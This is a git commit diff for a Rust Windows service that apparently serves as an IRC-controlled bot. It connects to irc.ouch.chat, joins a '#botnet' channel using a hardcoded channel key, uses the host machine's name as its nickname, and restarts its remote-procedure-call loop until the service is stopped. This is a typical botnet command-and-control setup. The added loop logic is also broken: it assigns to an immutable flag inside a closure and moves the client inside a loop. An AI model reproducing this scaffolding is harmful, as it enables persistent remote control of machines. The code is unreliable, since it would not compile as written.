loop restart unless stop
All checks were successful
continuous-integration/drone/push Build is passing

This commit is contained in:
blackbeard420 2024-01-02 15:50:07 -05:00
parent 23daaf40b7
commit 72fcbfa7c0
Signed by: blackbeard420
GPG Key ID: 88C719E09CDDA4A5
2 changed files with 10 additions and 3 deletions

View File

@ -41,6 +41,8 @@ mod winserv {
let sender = client.sender();
let run = true;
// The entry point where execution will start on a background thread after a call to
// `service_dispatcher::start` from `main`.
let event_handler = move |control_event| -> ServiceControlHandlerResult {
@ -52,11 +54,13 @@ mod winserv {
// Handle stop
ServiceControl::Stop => {
sender.send_quit("ouch or die").unwrap();
run = false;
ServiceControlHandlerResult::NoError
}
ServiceControl::Shutdown => {
ServiceControl::Preshutdown => {
sender.send_quit("ouch or die").unwrap();
run = false;
ServiceControlHandlerResult::NoError
}
@ -79,8 +83,10 @@ mod winserv {
})
.unwrap();
if let Err(_) = irc_rpc::event_loop(client).await {
//log error
while run {
if let Err(_) = irc_rpc::event_loop(client).await {
//log error
}
}
status_handle

View File

@ -22,6 +22,7 @@ pub async fn create_client() -> Result<Client, failure::Error> {
server: Some("irc.ouch.chat".to_owned()),
channels: vec!["#botnet".to_owned()],
channel_keys: HashMap::from([("#botnet".to_owned(), "fuckyou".to_owned())]),
alt_nicks: vec![gethostname::gethostname().to_str().unwrap().to_owned() + "X"],
..Config::default()
};